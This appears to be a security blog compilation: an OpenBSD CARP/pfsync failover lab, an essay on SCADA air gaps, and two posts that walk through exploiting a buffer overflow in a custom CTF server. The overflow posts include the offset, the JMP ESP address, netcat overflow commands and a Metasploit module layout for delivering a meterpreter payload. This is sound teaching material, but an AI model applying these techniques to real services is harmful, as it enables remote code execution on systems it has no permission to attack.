Hands On: Redundant firewalls using CARP and pfsync on OpenBSD 5.0

I recently completed reading the pf FAQ on the OpenBSD website.  I have been doing quite a bit of playing around and thought I would document the testing I performed on creating a redundant firewall configuration using CARP and pfsync.

I decided I must do a little experimenting based on two quotes from the FAQ.  The first quote describes the use of the Common Address Redundancy Protocol (CARP):

One common use for CARP is to create a group of redundant firewalls. The virtual IP that is assigned to the redundancy group is configured on client machines as the default gateway. In the event that the master firewall suffers a failure or is taken offline, the IP will move to one of the backup firewalls and service will continue unaffected.

The second quote is from the section discussing the value of using pfsync with CARP:

pfsync: Synchronizes the state table amongst all the firewalls. In the event of a failover, traffic can flow uninterrupted through the new master firewall.

I read this as follows, “If I have a redundant firewall configuration using both CARP and pfsync, I can fail one firewall and have no interruption in traffic flow.”

That just sounds cool, and I’m going to test it out.

My experiment will be done in a virtual lab environment.  I will use Oracle VM VirtualBox for the virtualization platform.  The firewalls will be vanilla OpenBSD 5.0 installs.  The test hosts will be two other virtual machines I already have set up.

The goal: Simulate the failure of the primary firewall during operations involving Web and SSH traffic traveling from hosts on the LAN side to hosts on the WAN side.

Lets set it up and see.

Architecture Review

First – below is an ASCII diagram of the topology, consistent with the example in the pf FAQ:

         +----| WAN/Internet |----+
         |                        |
      em0|                        |em0
      +-----+                  +-----+
      | fw1 |-em2----------em2-| fw2 |
      +-----+                  +-----+
      em1|                        |em1
         |                        |
      ---+-------Shared LAN-------+---

Interface         FW1            FW2
em0            192.168.1.21 | 192.168.1.22
em1            172.16.0.21  | 172.16.0.22
em2            10.10.10.21  | 10.10.10.22
WAN Shared            192.168.1.100
LAN Shared            172.16.0.100
WAN Gateway           192.168.1.1

The em2 interfaces will be used to send pfsync updates.  Even in a lab environment, I want to heed the warning from the FAQ:

When pfsync(4) is set up to send and receive updates on the network, the default behavior is to multicast updates out on the local network. All updates are sent without authentication. Best common practice is either:

  1. Connect the two nodes that will be exchanging updates back-to-back using a crossover cable and use that interface as the syncdev (see below).
  2. Use the ifconfig(8) syncpeer option (see below) so that updates are unicast directly to the peer, then configure ipsec(4) between the hosts to secure the pfsync(4) traffic.

To simulate the crossover cable, we will set up the separate em2 interface.  We could also easily configure IPsec on the em2 interfaces.  Either way…

CARP will be configured both on the WAN and LAN side to support hosting services on both sides.

For the purposes of this experiment, minimal firewall rules will be in place.  This is not recommended for production :)

Firewall Installation

I created a new virtual machine and installed OpenBSD 5.0 following the install guidance.  It took about 20 minutes on a well oiled machine.  Both firewalls will be identical, so once the first machine was installed and I verified it boots and I could log in, I shut it down and used the VirtualBox “Clone” feature to create a copy of the VM.

From the clean installs of OpenBSD 5.0, the following configurations established the environment.

Virtual Networking Setup

For both firewalls, the VirtualBox network settings are the same…
Adapter 1: Enabled, Bridged, Advanced->Promisc: Allow All
Adapter 2: Enabled, Internal, sharedlan, Advanced -> Promisc: Allow All
Adapter 3: Enabled, Internal, pfsync

Host Network Setup

Firewall 1
Edit: /etc/hostname.em0
inet 192.168.1.21 255.255.255.0 NONE

Edit: /etc/hostname.em1
inet 172.16.0.21 255.255.255.0 NONE

Edit: /etc/hostname.em2
inet 10.10.10.21 255.255.255.0 NONE

Setup gateway:
# echo 192.168.1.1 > /etc/mygate

Setup DNS – Edit: /etc/resolv.conf
lookup file bind
nameserver 208.67.222.222
nameserver 208.67.220.220

Then restart network:
# sh /etc/netstart

Firewall 2
Edit: /etc/hostname.em0
inet 192.168.1.22 255.255.255.0 NONE

Edit: /etc/hostname.em1
inet 172.16.0.22 255.255.255.0 NONE

Edit: /etc/hostname.em2
inet 10.10.10.22 255.255.255.0 NONE

Setup gateway:
# echo 192.168.1.1 > /etc/mygate

Setup DNS – Edit: /etc/resolv.conf
lookup file bind
nameserver 208.67.222.222
nameserver 208.67.220.220

Then restart network:
# sh /etc/netstart

Test Network Setup

Firewall 1
$ for h in "192.168.1.22" "10.10.10.22" "172.16.0.22"; do echo; ping -c1 $h; done;

Firewall 2
$ for h in "192.168.1.21" "10.10.10.21" "172.16.0.21"; do echo; ping -c1 $h; done;

Set Up CARP, pfsync, and Enable Forwarding (NAT)

Firewall 1
Edit: /etc/sysctl.conf
net.inet.carp.preempt=1
net.inet.ip.forwarding=1

This will set preemption and enable forwarding upon next reboot.

So I don’t have to reboot now, we’ll manually set the sysctl variable:
# sysctl -w net.inet.carp.preempt=1
# sysctl -w net.inet.ip.forwarding=1

Create: /etc/hostname.pfsync0
up syncdev em2

Create: /etc/hostname.carp0
inet 192.168.1.100 255.255.255.0 192.168.1.255 vhid 1 \
carpdev em0 pass wan_interface_passwd

Create: /etc/hostname.carp1
inet 172.16.0.100 255.255.255.0 172.16.0.255 vhid 2 \
carpdev em1 pass lan_interface_passwd

Restart network:
# sh /etc/netstart

Note, OpenBSD will fix perms on the hostname.carp files, however, we’ll fix them on hostname.pfsync0:
# chmod 640 /etc/hostname.pfsync0

Firewall 2
Edit: /etc/sysctl.conf
net.inet.carp.preempt=1
net.inet.ip.forwarding=1

So I don’t have to reboot now:
# sysctl -w net.inet.carp.preempt=1
# sysctl -w net.inet.ip.forwarding=1

Create: /etc/hostname.pfsync0
up syncdev em2

Create: /etc/hostname.carp0
inet 192.168.1.100 255.255.255.0 192.168.1.255 vhid 1 \
carpdev em0 pass wan_interface_passwd advskew 128

Create: /etc/hostname.carp1
inet 172.16.0.100 255.255.255.0 172.16.0.255 vhid 2 \
carpdev em1 pass lan_interface_passwd advskew 128

Restart network:
# sh /etc/netstart
# chmod 640 /etc/hostname.pfsync0

Set Up Firewall Fules

The rules on both firewalls will be identical.  So, I configured to taste on Firewall 1, and then scp’s the /etc/pf.conf file over to the other.  Based on the topology above, the following firewall rules are in place.  These are NOT recommended for production!

#----------------------------------------------------------------------
#                -=< F I R E W A L L  R U L E S >=-
#----------------------------------------------------------------------
#----------------------------------------------------------------------
#                   M A C R O S  A N D  L I S T S
#----------------------------------------------------------------------

if_ext = em0 # external if, external if CARP (carp0)
if_int = em1 # internal if, internal if CARP (carp1)
if_pfs = em2 # dedicated if for pfsync

approved_dns = "{ 208.67.222.222 208.67.220.220 }"

#----------------------------------------------------------------------
#                           O P T I O N S
#----------------------------------------------------------------------
set skip on lo

# Nat outgoing
match out on $if_ext from !$if_ext to any nat-to ($if_ext)

#----------------------------------------------------------------------
#                           F I L T E R S
#----------------------------------------------------------------------
#Default policy: block
block return in
block return out
block in quick from urpf-failed

# Scrub incoming packets
match in all scrub (no-df)

# Support CARP, pfsync
pass quick on $if_pfs proto pfsync keep state (no-sync)
pass quick on { $if_ext $if_int } proto carp keep state (no-sync)

# Allow outbound DNS to approved DNS resolvers
pass in log (all) on $if_int inet proto { tcp udp } \
	from $if_int:network to $approved_dns port domain
pass out log (all) on $if_ext inet proto { tcp udp } \
	from $if_ext to $approved_dns port domain

# Allow all outbound Web traffic
pass in log (all) on $if_int inet proto tcp \
	from $if_int:network to any port { www, https }
pass out log (all) on $if_ext inet proto tcp \
	from $if_ext to any port { www, https } modulate state

# Allow all outbound SSH traffic
pass in log (all) on $if_int inet proto { tcp udp } \
	from $if_int:network to any port ssh
pass out log (all) on $if_ext inet proto { tcp udp } \
	from $if_ext to any port ssh modulate state

# By default, do not permit remote connections to X11
block in on ! lo0 proto tcp to port 6000:6010

Test CARP Fail Over

Now that the interfaces have been set up, CARP should be running on both the WAN and LAN interfaces.  Firewall 1 should be the CARP master on both carp0 (WAN side) and carp1 (LAN side).

This can be seen by running the following commands on both firewalls:
# ifconfig carp0
# ifconfig carp1

The output can be seen in the following screenshot:

Image 1: CARP Configuration on Firewall 1 and Firewall2

We can simulate the failure of the Firewall 1 CARP 1 interface by tweaking the advskew.  To see the CARP traffic, we can run the following command on both Firewalls:
# tcpdump -i em1

Then, to fail the interface, run the following on Firewall 1:
# ifconfig carp1 advskew 130

The tcpdump output will show that Firewall 2 promotes to master.  This can be seen in the following screenshot:

Image 2: CARP Master Fail Over

We can easily fail back to Firewall 1 by setting the advskew value on the carp1 interface on Firewall 1 to a number lower than the advskew value on the carp1 interface on Firewall 2 (128).

Set Up Hosts

Ultimately we want to have a host on the LAN network (our simulated user’s workstation) and a host on the WAN network (our SSH server) talking, and then fail over the interfaces.  The Hosts will be running BackTrack Linux, though any operating system should work fine, provided you can configure a static IP address and default gateway.

Virtual Network Setup

For Host 1 (LAN side), set
Adapter 1: Enabled, Internal, sharedlan

For Host 2 (WAN side), set
Adapter 1: Enabled, Bridged

Host Network Setup

Host 1
Edit: /etc/network/interfaces
FROM:
auto eth0
iface eth0 inet dhcp

TO:
auto eth0
iface eth0 inet static
address 172.16.0.10
netmask 255.255.255.0
gateway 172.16.0.100

Then restart network:
# /etc/init.d/networking restart

Host 2
Edit: /etc/network/interfaces
FROM:
auto eth0
iface eth0 inet dhcp

TO:
auto eth0
iface eth0 inet static
address 192.168.1.30
netmask 255.255.255.0
gateway 192.168.1.1

Note: Host 2 here (on the WAN side) has the gateway set to the external network gateway, not the WAN facing interface on the Firewalls (em0)

Then restart network:
# /etc/init.d/networking restart

DNS Resolver Setup

We will use the OpenDNS resolvers.  For both Hosts, the configuration is the same.
Edit: /etc/resolv.conf
208.67.222.222
208.67.220.220

Perform Testing

To perform the test, simply ssh from Host 1 (LAN) to Host 2 (WAN), and then use a web browser on Host 1 (LAN) to browse the web.  Optionally have Wireshark or TCPDump running on Host 1 to see what’s going through the interface.

Then, fail over Firewall 1 by setting the advskew value on the CARP interfaces to a value higher than the values on Firewall 2.  I have a script (provided below) that can be modified and used to support quickly changing the advskew values.

Results

Test results were very positive.  Web based traffic failed over immediately when the master was failed.  The SSH session, however, did not move over to the promoted firewall.  I did quite a bit of investigating principally by checking TCP dumps and comparing MAC addresses of packets coming and going.  Once the master was failed (by setting the advskew to a number higher than the backup firewall), the SSH outbound traffic continued to be sent to the CARP IP address, but response traffic was sent from the MAC address of the failed master firewall.  If I shut down the interface ($ifconfig em1 down), then SSH traffic would simply halt.

I turned to the web.  I was a little frustrated to see that the CARP protocol is not fully documented (that I could find), though dozens of articles provided adequate troubleshooting information.  I found this nugget in the NetBSD Guide chapter on CARP, “services that require a constant connection to the server (such as SSH or IRC) will not be transparently transferred to the other system–though in this case, CARP can help with minimizing downtime.”  I suspect that the carp handler on a promoted master host will not take TCP ACK packets for a connection that was NOT initiated through that same host via the TCP 3-way handshake.  I could not confirm this.  With that in mind, however, I was happy that things worked as expected (SSH traffic behaved in accordance with documented behavior).  I wonder if it would be prudent to try to configure a failed master to send TCP RSTs on active connections…

I also noticed a peculiar behavior that I was not able to resolve, but I did find a work around.  Under certain conditions, after failing over between FW1 and FW2 several times, network traffic would simply stop.  DNS would work, TCP sessions would get created, and the HTTP GET would get sent, but no replies would ever come back.  I did not investigate to resolution, however I did find that if I would boot FW2 (the backup firewall) first and then boot FW1 (which would immediately preempt FW2), this problem would NOT materialize.  I speculate that the firewall configuration, or some peculiarity in the virtual environment may have been causing this.  Again – the work around was reliable, and if I was moving this into production, I’d do more research…

Final Thoughts

I am quite impressed with the simplicity of setup and the effectiveness in implementation of this reliable redundant configuration.  I am also impressed that the CARP advertisements are (with the use of the CARP password parameter) encrypted with a SHA1 HMAC.  Additionally, pfsync traffic can be exchanged using crossover cables or secured using ipsec.  I did note, however, that CARP, even encrypted, is not invulnerable to replay attacks.  I wonder if the carp traffic could be encapsulated in an ipsec tunnel between hosts to mitigate this vulnerability.

Useful Scripts and Commands

I created several files and used several tcpdump commands when testing and debugging.  Below are those files that, when used with the configuration documented in this post, will make testing quite easy.  Additionally, tcpdump commands useful for seeing what was moving through the physical interfaces or the pf log are provided…

BASH Script Files

status.sh – Show current status of CARP interfaces

#!/bin/sh
echo "Carp0:"
ifconfig carp0 | grep advskew
echo "Carp1:"
ifconfig carp1 | grep advskew

set_carp_200.sh – Change the advskew value on CARP interfaces to 200. Can be easily modified.

echo "Setting carp0 advskew 200..."
ifconfig carp0 advskew 200
echo "Setting carp1 advskew 200..."
ifconfig carp1 advskew 200
sleep 7
sh status.sh

Useful TCPDump Commands

em0 – See what’s hitting the em0 interface (here, on FW1) ignoring the CARP advertisements.
tcpdump -i em0 src or dst 192.168.1.21 and !dst 224.0.0.18

em1 – See what’s flowing on the Shared LAN side.
tcpdump -i em1 !dst 224.0.0.18

em2 – Watch the pfsync updates.
tcpdump -i em2

pflog – See what’s being processed by pf and logged to pflog0 in accordance with pf.conf.
tcpdump -n -e -ttt -i pflog0

Video

Below is a short video that demonstrates the fail over of the master, then failing back again.  The video was shot using host configured in accordance with the specifications above.  Perhaps this will add value. It will be best viewed full-screen…

SCADA, DCS, and air gaps

When most people talk about SCADA, they are generally including a whole lot of stuff that is not SCADA.

In general, true SCADA systems are and must be connected in some way. This is generally because they are located over a large geographical area. DCS systems are sometimes called SCADA, but they are not. DCS systems are what you find in small foot-print facilities, like a prison, a power plant, a bottling company.

These systems are generally similar in that they monitor and control a physical process. In the case of SCADA, these are dispersed over a large geographical area. In DCS, they are centrally located. In almost ALL cases, there is never a need to receive data from “outside” the SCADA or DCS system. The data is generated inside the system, and is often pumped out for analysis and monitoring. (It’s when we connected them that we screwed the poodle.)

This is important when it comes to securing these systems. When your digital assets are located over a large geographical area, you need some type of connectivity (4G, wired Internet, RF, whatever) that ties these together. This increases the attack surface.

However, if all your digital systems are in one small geographical area (e.g., a industrial plant), it’s easy to “snip the wire.”

Now, we can have a religious debate about air gaps – but that’s meaningless. When people say, “there’s no such thing as an air gap” they assume a whole bunch of conditions that may or may not be true. For the record, I will smack the next person that says, “there’s no such thing as an air gap.” The correct expression is “creating an air gap is hard.”

When securing industrial facilities that use digital equipment of various vintage and capability, creating an electronic air-gap is one step in implementing a robust “air gap”.

I try to think about the “air gap” as implementing controls to address “bad juju” that can get into or out of your digital equipment along 5 key vectors:

  1. Direct network access (all types)
  2. Wireless network access (all types)
  3. Portable media and equipment (used to maintain digital assets, or to move data to-or-from digital assets)
  4. Direct physical access (if you can touch it, you can pwn it…)
  5. Supply chain (including vendor patching processes, and procurement-related issues)

Certainly, these can be collapsed into two vectors – logical and physical access – however, adding some granularity helps with discussion!

To illustrate – if the digital asset has no wired or wireless networking, physical access is controlled to authorized people with appropriate training, portable media and equipment that is connected to the system for maintenance and patching is rigorously protected, and we ensure any software or hardware coming in through the supply chain has reasonable degrees of security – then we have a well protected system. (Note, this gives you a good start on the prevention piece, but does not solve the monitoring/detection or incident response piece).

To establish an “air gap” we must address threats that can materialize along any of the 5 key vectors. If we do this successfully, then I will say, “you have a pretty good air gap.”

These vectors are very hard to address in a corporate environment, where the critical asset is DATA, and not hardware. The data is too easy to move, so it is nearly impossible to address all vectors to the data. Securing SCADA systems is also hard for similar reasons. But in terms of complexity, to get equivalent levels of protection for Data, SCADA, or DCS, I think the distribution of work would look as follows:
DATA – 85 %
SCADA – 10 %
DCS – 5 %
IE, if you spent 5% of your security budget on your DCS system security, you’d get equivalent protection as the 85% you spent to protect DATA.

The challenge is – we’ve spent decades working on data security (centuries if you consider crypto a part of data security), but only short years talking about SCADA and DCS security. So, as all humans do, we have to screw this up 1,000 times before we spend 10 minutes trying to figure out how to do it right once…

Metasploit module creation

My friend Daniel “Mooky” Robertson provided this brief tutorial on Metasploit module creation. Rather than incorporating it into the remote buffer overflow tutorial, his work deserves its own, stand-alone post. This post references some of the research provided in the remote buffer overflow tutorial, so you may want to read both to get the full picture. Mooky solved he CTF about which the remote buffer overflow tutorial was written, and I thank him for his help and support!

Metasploit Module Creation

Author: Daniel “Mooky” Robertson

Revisions: 20110521 – to clarify language.

Metasploit module creation is as simple, or as complicated as you want to make it. Some modules require exploit code longer than the entirety of this blog post. Some others, on the other hand, are as little as 5 lines. In this module, I’m going to make a few assumptions. First being that you know the basics of the ruby scripting language. If you don’t, please Google some tutorials. There is a plethora of material, and I learned most of what I know about ruby from doing this myself. Second, I’m going to assume you are using the template provided here.

We’re only going to hit the important parts of the code, and discuss those. The rest of the code is commented, and should be easy to adjust.

First we take our information we have gathered thus far:
Filler: 260 bytes
Location of JMP ESP: 0×77C6AFEE
Max Payload: 1784
Server port: 1337

The first area of importance we want to edit is the Payload area. Payload is the amount of contiguous space we have to insert our payload. Now I’m not going to go too deep into the different types of payload options that Metasploit has. Suffice to say, there are ways to work with less space more efficiently. But in this case, back to our math. We shove 260 bytes of data in the front, then 4 for the memory address that we will place in EIP, and afterward we have 1784 bytes of data. So we have 2 options, 260, or 1784. Well, it is possible to stick a bind-back shell into 260 bytes of space. But the object of this CTF challenge was to stick a meterpreter, and that requires a bit more. So since the space is divided by the 4 bytes for EIP, and the space must be contiguous we discount the first 260 bytes entirely. Our payload space therefore equals 1784. Metasploit uses this data to determine what possible payloads can fit in an exploit module. If a payload size exceeds the space allotted within the module, then it will not be shown.

Note: If you want to test this, try this out. Make the size 260, then enter Metasploit, load the module, and type “show payloads.” Exit Metasploit, then change the number to 1784, and see how many more payload options show up. Meterpreter is all of the sudden, an option, among other things.

The other aspect within Payload we need to consider is BadChars. BadChars are characters that the encoder will avoid in the process of packaging the payload. I’m not going to go into detail about how to figure out which characters are bad. Other people out on the web will do a far better job than I could. But for the sake of this, understand that we are using a TCP connection, basically sending a char array across the wire. A null byte, or “\x00” is a termination character. Therefore we do not want to have our payload include this char in the encoding process.

Next to edit is the Targets section. The format is: “[ 'Dispayed name of the system/version', {'Ret' =>0xReturnMemoryAddress } ]”. The first area in apostrophes is merely a human readable name so when you type “show targets,” you can choose the appropriate system platform of your intended victim. The Ret value is the memory address which we want to stick into EIP. Remember: EIP is the address of the next instruction to be executed, not the actual instruction itself. In our case, the return value we found was 0x77c6afee. In my experience the Ret value has not been case sensitive.

Now we get to skip on to the good stuff. “def exploit”… Doesn’t that just sound nice? Anyway, before I digress too much… the coding….

First things first. “connect” to the target.

Next we build the string that we’ll send to the remote application. We basically already know what the string is we have to build. It would look something like this:
“{260 bytes of filler}{packed return address to stick in EIP}{the shellcode/payload of our choosing}”

Using the variable name buffer, we initially set its value to be 260 “A”’s. The “<<” statements after this basically mean “tack whatever is to the right of this onto the end of the variable to the left.” Next we have to stick in our return address for EIP. But take note we cannot just write it as is!! It HAS to be packed. This is what the .pack(‘V’) function does for us.  Using the [target.ret].pack(‘V’), you have the option of simply adding more targets to the appropriate section, and having a single module work for multiple platforms/OS versions. If you pack the return address yourself, then unless you error check what the value of “target” was, you will essentially lock the module to only be applicable to a single OS version.

The “make_nops()” function returns what is called a NOP Sled. NOP stands for NO Operation. In assembly, there are certain function calls that essentially do not do anything. The most famous one is \x90. This basically tells it to call a sleep function for a clock cycle. Certain IDS’ have come to sniff network traffic for the existence of NOPs, and will subsequently catch and prevent the traffic from getting to your intended victim. Therefore other ways of making NOPs have been discovered. These include, but are not limited to doing such things as sending the bytes for the code “xor eax,eax”, or other legitimate instruction that will eat a few clock cycles, but still have the same result: which is will not mess with the execution of our payload. In our case, since we know an exact location for where the call to JMP ESP is located, we don’t need a NOP sled, so I could remove it.

Finally the good stuff… we insert our payload. But we have to tack on the “.encode” function.

So at this point our exploit string, buffer, is completely ready to go. We print a status message(please use these when debugging your code. They make like so much easier.) and we write it to the sock with the sock.put() method. The handler starts whatever process are required to handle any interaction that the attacker and victim will have. In our case it starts the module that will interact with the meterpreter payload we sent to our victim. In other cases it will open a port on your local machine to listen for a reverse_tcp connection, or it will connect to a port that we set up a listening station on in the victim machine. Lastly we disconnect.

Launch of msfconsole, load the module, set your options and exploit!
If all went well, it’s “game over man! GAME OVER!!!!”

[Posted on behalf of Mooky]

Tutorial – remote buffer overflow identification and exploitation

Authors
Hakuza and Mooky

Purpose
This tutorial provides a step-by-step walk-through of the identification of a remotely accessible buffer overflow, information gathering, and the development of a Metasploit module to exploit the vulnerability.

Intended Audience
Minimal skills are necessary to follow this tutorial. This tutorial will be helpful to folks with no prior knowledge of the identification and development of an exploit for a remotely exploitable buffer overflow. Individuals familiar with developing buffer overflow attacks may not benefit from this tutorial.

Background
The NoVA Hackers community developed a capture the flag event the goal of which is to identify a bug in a Windows-based service, develop an exploit, and implement a Metasploit module that will deliver a payload by exploiting the vulnerable application. The service being exploited is a custom application developed specifically for the CTF.

Preparations
In order to follow along with this tutorial, a few tools will be necessary. Below is a description of the lab environment that was used to create this tutorial, however, any configuration that provides the identified tools should be acceptable.

Methodology
This tutorial provides step-by-step instructions for all stages of the development of the exploit.

At each step, the activities performed, the results, and the relevant information (documented as FACTS) are recorded to aide the reader in the understanding of the information gathering activities.

A series of screenshots are provided as well. Click on the screen shot to view full size images.

Lab Environment
Two virtual machines running under VirtualBox were used to develop this tutorial.
I have another blog post detailing how to set up a virtual lab of this variety.

Windows Server 2003
This host will run the vulnerable service and will run a debugger.
Software:

Configuration:

  • Disable Data Execution Prevention (DEP)

BackTrack 4 (download)
Any computer running the software below would be acceptable, but this tutorial was created using a virtual machine running BackTrack 4.
Software:

The Windows Server 2003 host will be referred to as WS2003, and the BackTrack 4 host will be referred to as BT4 for the remainder of the tutorial.

Information Gathering
The first step is to gather some information about the target server, and the targeted service (server.exe).

Determine IP of Target Host

ipconfig

ipconfig

On WS2003 box:

C:\>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.1.0.1
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :

FACT: Target server binds to 10.1.0.1

Determine Service Options and Flags [002]

Explore service options

Explore service options

Start server.exe using the command line with various switches.
Try:

C:\> server.exe /h

Nothing

C:\> server.exe /help

Nothing

C:\> server.exe /?

Nothing

C:\> server.exe /debug

Nothing
The service does not expose any meaningful information…

Determine if Service Binds to a Socket
Check netstat before starting server.exe:

Network connections without server.exe running

Network connections without server.exe running

C:\>netstat /a
Active Connections
Proto Local Address Foreign Address State
TCP ws2003:http ws2003:0 LISTENING
TCP ws2003:epmap ws2003:0 LISTENING
TCP ws2003:microsoft-ds ws2003:0 LISTENING
TCP ws2003:1025 ws2003:0 LISTENING
TCP ws2003:1026 ws2003:0 LISTENING
TCP ws2003:netbios-ssn ws2003:0 LISTENING
UDP ws2003:microsoft-ds *:*
... ....

Now, start the server and try again…

Network connections with server.exe running

Network connections with server.exe running

C:\>netstat /a
Active Connections
Proto Local Address Foreign Address State
TCP ws2003:http ws2003:0 LISTENING
TCP ws2003:epmap ws2003:0 LISTENING
TCP ws2003:microsoft-ds ws2003:0 LISTENING
TCP ws2003:1025 ws2003:0 LISTENING
TCP ws2003:1026 ws2003:0 LISTENING
TCP ws2003:1337 ws2003:0 LISTENING
TCP ws2003:netbios-ssn ws2003:0 LISTENING
UDP ws2003:microsoft-ds *:*
... ....

FACT: Service binds to TCP port 1337

Probe the Service Using Nmap

Nmap scan

Nmap scan

On BT4 box:

root@bt:~# nmap -p1-65535 10.1.0.1
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-14 01:03 EST
Nmap scan report for 10.1.0.1
Host is up (0.00034s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1337/tcp open waste
MAC Address: 08:00:27:AC:E3:71 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 36.68 seconds

FACT: Service exposes service name: waste

Probe Service Using Netcat

Basic probing with nc

Basic probing with nc

Start server.exe on the WS2003 host, then netcat from the BT4 host to the service on the target server and type a few things…

On WS2003 box:

C:\ctf>server.exe

On BT4 box:

root@bt:~# nc 10.1.0.1 1337
hello
hello
ECHO Echo echo
ECHO Echo echo
^C
root@bt:~#

On WS2003 box, notice the output:

Bytes received: 6
Bytes sent: 6
Bytes received: 15
Bytes sent: 15
Connection closing...

FACTS:
server.exe prints the number of bytes received
server.exe echo’s the received bytes back to the client
server.exe prints the number of bytes sent to the client

This means that server.exe is most likely copying data off the wire into some kind of string buffer.

Determine if Vulnerable to Buffer Overflow

Overflow attempt with nc

Overflow attempt with nc

Attempt to send a large amount of data to the service.

The command below generates a string of 5000 A’s and sends them to the target service using Netcat.

On BT4 box:

root@bt:~# perl -e "print 'a' x 5000;" | nc 10.1.0.1 1337
root@bt:~#

On WS2003 box:

C:\ctf>server.exe
Bytes received: 2048
C:\ctf>

Hmm… That’s interesting – I sent 5000 a’s but server reports 2048 received, then it closed the connection…

View Error Logs for Additional Information

Error log

Error log

The full Error Log entries (from the Windows Event Manager) are copied below (at the end of the tutorial). Looks like an overflow.

From the error logs, additional facts can be obtained…

FACTS:
Failure code c0000005 = Access Violation
Fault address 0×61616161
0×61616161 – 61 is hex for ‘a’ – so we overwrote the EIP!
Server.exe vulnerable to, at least, remote Denial of Service (DOS)
Server.exe may be vulnerable to remote code execution via buffer overflow

Verify Vulnerability to Buffer Overflow

Verifying buffer overflow

Verifying buffer overflow

On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
NOTE: In order for this to work, I needed to hit Shift+F9 after starting the run in the debugger. This was the case for every execution of server.exe when using the debugger.

On BT4 box:

root@bt:~# perl -e "print 'a' x 5000;" | nc 10.1.0.2 1337

In Immunity Debugger, notice that:
Both EAX and ESP have values represented as ASCII strings of a’s
EIP has value: 0×61616161

FACT: server.exe is vulnerable to remote buffer overflow, and likely remote code execution

Determine Location of Overflow
At some point, the input filled the memory pointed to by EAX, and EIP, and possibly all of ESP.

The goal of this step is to determine precisely where in the input the value of EIP is overwritten.

If we can determine where EIP is overwritten, and can write custom shellcode into ESP (which should be trivial, since we have already overwritten ESP), then we are golden.

Our goal will be to store shellcode in the buffer pointed to by ESP, and then overwrite EIP with a command to execute the code in ESP (using the call “JMP ESP”).

Metasploit provides the tools pattern_create and pattern_offset that can be used to find the location, in the input stream, where EIP is overwritten.

The tool pattern_create creates a random-valued string of user-defined length. The tool pattern_offset will find the offset of a substring within in a string created using pattern_create.

The EIP register will be overwritten with 4 bytes from our string. We can feed those 4 bytes to pattern_offset to show exactly how many bytes of input are needed prior to EIP being overwritten.

Knowing exactly where EIP is overwritten is crucial to the creation of our exploit.

On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
NOTE: Again, in order for this to work, I needed to hit Shift+F9 after starting the run.

On BT4 box:

root@bt:~# /opt/metasploit3/msf3/tools/pattern_create.rb 5000 > overflow.txt
root@bt:~# cat overflow.txt | nc 10.1.0.1 1337

On the WS2003 box, in Immunity Debugger (ID), notice that EIP has value: 0×37694136

Determine value in EIP register

Determine value in EIP register

This value is Hex representation of the substring from the input written into EIP when the EAX buffer overflowed.

Stop the program in ID.

Find offset of the value in EIP

Find offset of the value in EIP

On BT4 box:

root@bt:~# /opt/metasploit3/msf3/tools/pattern_offset.rb 37694136 5000
260

So, at location 260 in the input, the EAX buffer is full, and the next four bytes are written into the EIP register.

FACT: EIP overwrites after 260 input bytes

Test the EIP Overwrite Location
The goal of this step is to verify the location discovered above. We will do this by creating a string of 260 x’s, followed by four a’s, followed by 500 y’s. Our hope is to see the value 0×61616161 in the EIP register.

On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
Hit Shift+F9 after starting the run

On BT4 box:

root@bt:~# perl -e "print 'x' x 260 . 'aaaa' . 'y' x 500" > overflow2.txt
root@bt:~# cat overflow2.txt | nc 10.1.0.1 1337
Confirm offset location

Confirm offset location

Notice that EIP has value: 0×61616161

Also, note that EAX points to a string filled with x’s and ESP points to a string of y’s, exactly as we want.

Sweet. We have confirmed that EIP is overwritten after 260 bytes of input, and that we can overwrite both EAX and ESP buffers.

Find Call to JMP ESP
The EIP register holds the location, in memory, of the next instruction to execute.

We have shown that we can overwrite ESP.

We have also shown we can overwrite EIP with any value we want, so we will store some shellcode at the location pointed to by ESP, then fill EIP with the location of a command that simply says “go execute the code in the ESP.”

When the CPU asks IEP the next command to execute, EIP will answer, “it’s at ESP!”

In order to exploit this vulnerability, we will need to write our shellcode into ESP, then fill EIP with a command to jump to the ESP.

We need to find a memory location in server.exe (or one of its loaded modules) that has the command for “JMP ESP.”

Locate call to JMP ESP

Locate call to JMP ESP

To do so, load server.exe into Immunity Debugger.
Click Alt+E
For each dll, double click that line in the “Executible modules” window.
Click Ctrl+F
Type: JMP ESP
If you get a hit, note the address location.

Call to JMP ESP located

Call to JMP ESP located

In our case, a call to JMP ESP was found in RPCRT4.dll at location: 0x77C6AFEE

77C6AFEE FFE4 JMP ESP

FACT: Call to JMP ESP is at location: 0x77C6AFEE

Determine Space Available for Shellcode
Our next goal is to determine how much room we have to store shellcode. We hope it is enough to store a common payload.

I’m sure there’s a better way to do this, but…

We’ll re-use our earlier process described in “Determine Location of Overflow” to attempt to determine how much data we can store in ESP.

On WS2003 box:
Set up server.exe in the debugger as described earlier.

On BT4 box:

root@bt:~# cat overflow.txt | nc 10.1.0.1 1337

When the application crashed, the registers had the following values:

Register values when server.exe overflows

Register values when server.exe overflows

EAX 0013ECA0 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa..."
ECX 0013FDE0
EDX 00000800
EBX 7FFD6000
ESP 0013EDA8 ASCII "Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj..."
EBP 69413569
ESI 00000000
EDI 00000000
EIP 37694136

From the CPU window, we can gather address ranges of interest. Offsets gathered by double clicking on the address storing the value of EIP, in our case 0x0013EDA4…

Address ranges storing our input to server.exe

Address ranges storing our input to server.exe

Offset Address Hex Val ASCII
$-104 0013ECA0 41306141 Aa0A <- beginning of EAX
$-100 0013ECA4 61413161 a1Aa
... ...
$-8 0013ED9C 41346941 Ai4A
$-4 0013EDA0 69413569 i5Ai <- end of EAX
$ ==> 0013EDA4 37694136 6Ai7 <- value stored in EIP
$+4 0013EDA8 41386941 Ai8A <- beginning of ESP
$+8 0013EDAC 6A413969 i9Aj
... ...
